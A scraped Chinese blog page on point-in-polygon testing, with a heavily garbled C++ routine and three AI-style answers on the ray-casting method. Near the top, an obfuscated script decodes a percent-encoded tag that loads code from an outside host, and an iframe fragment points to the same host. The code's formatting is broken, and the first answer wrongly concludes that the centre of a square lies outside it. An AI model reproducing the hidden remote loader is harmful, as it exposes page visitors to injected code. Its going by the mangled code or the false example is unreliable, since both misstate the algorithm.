判断一个点是否在某个封闭曲线内的算法

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
判断一个点是否在某个封闭曲线内的算法

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


 
http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=198803
//
            判断某点是否落在多边形中。            2003.2.28.  
long
  fall1(
double
  a3,  
double
  a1,  
long
  na,  
long
  nb,  CPoint3DArray
&
  f)  
...
{  
//
a3  被测点X坐标  
//
a1  被测点Y坐标  
//
na  多边形首点序号  
//
nb  多边形末点序号  
//
f  多边形坐标数组  
       
double
  f1,f2,tk,lvalue,f3,f4;  
       
double
  tt;  
       
long
  ncr,n3;          
         
       
if
(f[na].x
>
1000000
.)        lvalue
=
1.0
;  
       
else
  
if
(f[na].x
>
100000
.)        lvalue
=
0.1
;  
       
else
  
if
(f[na].x
>
10000
.)        lvalue
=
0.01
;  
       
else
  
if
(f[na].x
>
1000
.)        lvalue
=
0.001
;  
       
else
        lvalue  
=
  
0.00000001
;  
           lvalue  
=
  
0.00000001
;  
/**/
///
//        fp5=fopen("tmp1","wt");  
/**/
/*
      WRITE(*,*)  NA,NB      
*/
  
       ncr
=
0
;  
//
        xx0=x0;  
//
        yy0=y00;  
/**/
/*
    printf(str,"%4ld  %4ld  %12.1f  %12.1f ",  
       a,nb,a3,a1);  
       extOut(hDC,10,150,str,70);  
       essageBox(hWnd,  str,  "fall1",  MB_OK    ¦  MB_ICONEXCLAMATION);    
*/
  
       
for
(n3
=
na;n3
<=
nb;n3
++
)  
       
...
{  
/**/
/*
    printf(str,"%4ld  %12.1f  %12.1f ",  
       3,(*(f+n3)).x,(*(f+n3)).y);  
       extOut(hDC,10,70,str,strlen(str));    
*/
  
                   
if
(fabs(a3
-
f[n3].x)
<
lvalue
&&
fabs(a1
-
f[n3].y)
<
lvalue)  
                       
...
{  
                               ncr
=
1
;  
                               
goto
  a99;  
                       }
  
       }
  
       n3
=
na
-
1
;  
a5:  n3
++
;  
       f1
=
f[n3].x;  
       f2
=
f[n3
+
1
].x;  
       f3  
=
  (n3
==
na)  
?
  f[nb
-
1
].x  :  f[n3
-
1
].x;  
       f4  
=
  (n3
+
1
==
nb)  
?
  f[na
+
1
].x  :  f[n3
+
2
].x;  
/**/
/*
    ia1=(f1-x0)*xp+10;  
       ia2=410-((*(f+n3)).y-y00)*yp;  
       MoveTo(hDC,ia1,ia2);  
       ia1=(f2-x0)*xp+10;  
       ia2=410-((*(f+n3+1)).y-y00)*yp;  
       LineTo(hDC,ia1,ia2);    
*/
  
//
    printf(fp5,"%4ld  %12.1f  %12.1f  %12.1f  %12.1f ",  
//
    3,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
/**/
/*
    if(fabs(a3-292840.)<lvalue&&fabs(a1-134320.)<lvalue)  
       {  
       printf(str,"%4ld  %12.1f  %12.1f  %12.1f  %12.1f",  
       3,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
       extOut(hDC,10,70,str,strlen(str));  
       }    
*/
  
a199:            ;  
           
if
(fabs(f1
-
f2)
<
lvalue)  
           
...
{          
/**/
/*
    Xi=xi+1    
*/
  
                       
if
(fabs(a3
-
f1)
<
lvalue)  
                       
...
{  
                                   
if
(f[n3].y
>
f[n3
+
1
].y)  
                                   
...
{    
/**/
/*
    2    
*/
  
                                               
if
(a1
>
f[n3
+
1
].y
&&
a1
<
f[n3].y)  
                                               
...
{      
/**/
/*
    1    
*/
  
                                             ncr
=
1
;  
                                             
goto
  a99;  
                                               }
            
/**/
/*
    1'    
*/
  
                                               
else
  
                                             
goto
  a64;  
                                   }
    
/**/
/*
      2'    
*/
  
                                   
else
  
                                   
...
{      
/**/
/*
      2.1      
*/
  
                                               
if
(a1
>
f[n3].y
&&
a1
<
f[n3
+
1
].y)  
                                               
...
{        
/**/
/*
    1      
*/
  
                                                           ncr
=
1
;  
                                             
goto
  a99;  
                                               }
  
                                               
else
  
                                                   
goto
  a64;  
                                   }
              
/**/
/*
    2.1'    
*/
  
                       }
  
                       
else
  
                               
goto
  a64;  
           }
  
           
if
(fabs(a3
-
f1)
<
lvalue)  
           
...
{  
                       
if
(f2
<
f1
&&
f3
<
f1  ¦  ¦f2
>
f1
&&
f3
>
f1)
goto
  a64;  
                   f1
=
f1
+
lvalue
*
2
.;  
           }
    
           
if
(fabs(a3
-
f2)
<
lvalue)  
           
...
{  
                             
if
(f1
<
f2
&&
f4
<
f2  ¦  ¦f1
>
f2
&&
f4
>
f2)  
                       
...
{  
                               n3
++
;  
                                         
goto
  a64;  
                             }
  
                   f2
=
f2
+
lvalue
*
2
.;  
           }
  
           
if
(fabs(f1
-
f2)
<
lvalue)  
goto
  a199;  
           
if
(f1
>
f2
&&
(a3
>
f1  ¦  ¦a3
<
f2)  ¦  ¦f1
<
f2
&&
(a3
>
f2  ¦  ¦a3
<
f1))  
goto
  a64;  
/**/
/*
    if(fabs(a3-292840.)<lvalue&&fabs(a1-134320.)<lvalue)  
       {  
       printf(str,"%4ld  %6ld  %12.1f  %12.1f  %12.1f  %12.1f",  
       3,nb,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
       extOut(hDC,10,90,str,strlen(str));  
       }      
*/
  
           tt
=
(
double
)(f[n3
+
1
].y
-
f[n3].y)
/
(
double
)(f2
-
f1);  
   
/**/
/*
        if(f1>f2)  
               tk=tt*(a3-f1)+(*(f+n3)).y;  
               else  
               tk=tt*(a3-f2)+(*(f+n3+1)).y;      
*/
  
           tk
=
tt
*
(
double
)(a3
-
f1)
+
f[n3].y;  
           
if
(fabs(a1
-
tk)
>
lvalue)  
goto
  a63;  
           ncr
=
1
;  
           
goto
  a99;  
a63:            ;  
           
if
(a1
>
tk)  
goto
  a64;  
           ncr
=
ncr
+
1
;  
/**/
/*
          sprintf(str,  
"%4ld  %4ld  %12.1f  %12.1f  %12.1f  %12.1f  %12.1  %12.1f  %12.1f  %12.1f  %12.1f ",  
             ncr,n3,a3,a1,(*(f+n3)).x,(*(f+n3)).y,(*(f+n3+1)).x,(*(f+n3+1)).y,f1,f2,tk);    
*/
  
/**/
/*
          TextOut(hDC,10,150,str,strlen(str));    
*/
  
   
/**/
/*
        ia1=(f1-x0)*xp+10;  
               ia2=410-((*(f+n3)).y-y00)*yp;  
               MoveTo(hDC,ia1,ia2);  
               ia1=(f2-x0)*xp+10;  
               ia2=410-((*(f+n3+1)).y-y00)*yp;  
               LineTo(hDC,ia1,ia2);  
             MessageBox(hWnd,  str,  "ncr",  MB_OK    ¦  MB_ICONEXCLAMATION);      
*/
  
a64:            ;  
           
if
(n3
<
nb
-
1
)  
goto
  a5;  
/**/
/*
    99            IER=SET_COLOR(0)  
CC            ier  =  filled_rectangle(2,470,640,480)  
CC                WRITE(VB,'(A,I4)')  'Ncr:',NCR  
CC                IER=GRAPHIC_TEXT(VB,2,470,12)  
CC                  IER=PAUSE()                                                  
*/
  
a99:          ;  
/**/
/*
          sprintf(str,"%4ld  %4ld  %4ld  %12.1f  %12.1f ",  
             ncr,na,nb,a3,a1);  
             TextOut(hDC,10,150,str,70);  
             MessageBox(hWnd,  str,  "ncr",  MB_OK    ¦  MB_ICONEXCLAMATION);        
*/
  
//
              fclose(fp5);  
       
return
  ncr;  
}
  
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 我们可以使用以下算法判断某个GPS坐标是否在多边形内: 1. 将多边形的所有边都看做一条线段,对于给定的GPS坐标点,在地图上画一条从该点出发的水平线(即与地图垂直的线段)。 2. 对于多边形的每一条边,判断该边是否与水平线相交。如果相交,则记录下交点的坐标。 3. 判断交点的个数。如果为奇数,则表示给定的GPS坐标在多边形内;如果为偶数,则表示给定的GPS坐标在多边形外。 例如,假设我们有一个多边形,其顶点坐标分别为(0,0)、(10,0)、(10,10)、(0,10)。我们希望判断坐标(5,5)是否在多边形内。我们可以画出如下图所示的水平线: [图片] 我们可以发现,水平线与多边形四条边都相交,因此交点的个数为4,为偶数。因此,我们可以判断坐标(5,5)不在多边形内。 ### 回答2: 判断某个GPS坐标是否在一组GPS多边形中的算法可以采用射线法。 1. 首先,将所有多边形按照顺时针或逆时针的方式定义多边形的点序。 2. 给定一个需要判断的GPS坐标点P,在使用射线法判断是否在多边形内之前,需要先判断该点是否在多边形的外接矩形范围内。如果不在矩形范围内,可以直接判断为不在多边形内,从而节省计算时间。 3. 对于在矩形范围内的点P,从点P出发,向右做一条射线R,计算射线与多边形各边的交点的个数。 4. 如果交点的个数为奇数,则表明该点在多边形内;如果交点的个数为偶数,则表明该点在多边形外。 通过以上算法,可以判断某个GPS坐标是否在给定的一组GPS多边形内。在具体实现时,需要注意对GPS坐标的精确度进行处理,以及对多边形的边界情况进行特殊处理,如点在多边形边上的情况。 ### 回答3: 要判断某个GPS坐标是否在一组GPS多边形中,可以使用射线交点法。首先,需要将每个多边形的坐标点连接成边线,并计算多边形的边数。 1. 首先,将要判断的GPS坐标与多边形的任意一点连接成一条射线。 2. 遍历多边形的每条边线,求出射线与边的交点。 3. 判断交点是否在射线上。如果交点不在射线上,则继续遍历下一条边线;如果交点在射线上,则继续判断交点是否在射线的延长线上。如果在延长线上,则代表射线与边线相交。 4. 统计射线与多边形的交点个数。如果交点个数为奇数,则代表GPS坐标在多边形内;如果交点个数为偶数,则代表GPS坐标在多边形外。 5. 根据统计结果确定GPS坐标是否在一组GPS多边形中。 该算法的时间复杂度约为O(n),其中n为多边形的边数。该算法基于射线交点判断方法,能够准确判断GPS坐标是否在多边形内部。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值